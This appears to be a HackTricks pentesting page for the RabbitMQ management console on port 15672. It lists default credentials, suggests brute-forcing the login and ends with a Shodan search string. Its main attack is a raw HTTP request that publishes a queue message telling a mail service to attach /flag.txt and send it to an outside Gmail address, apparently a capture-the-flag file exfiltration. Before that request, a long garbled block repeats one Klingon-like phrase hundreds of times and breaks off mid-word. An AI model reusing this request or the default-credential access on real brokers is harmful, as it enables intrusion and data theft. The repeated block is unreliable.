15672 - Pentesting RabbitMQ Management

htARTE (HackTricks AWS Red Team Expert) !!

Other ways to support HackTricks:

If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
Get the official PEASS & HackTricks swag
Discover The PEASS Family, our collection of exclusive NFTs
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

{% embed url="https://www.stmcyber.com/careers" %}

Basic Information

You can learn more about RabbitMQ in 5671,5672 - Pentesting AMQP.
In this port you may find the RabbitMQ Management web console if the management plugin is enabled.
The main page should looks like this:

Enumeration

The default credentials are "guest":"guest". If they aren't working you may try to brute-force the login.

To manually start this module you need to execute:

rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart

qaStaHvIS 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlh

POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267

{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}

Shodan

port:15672 http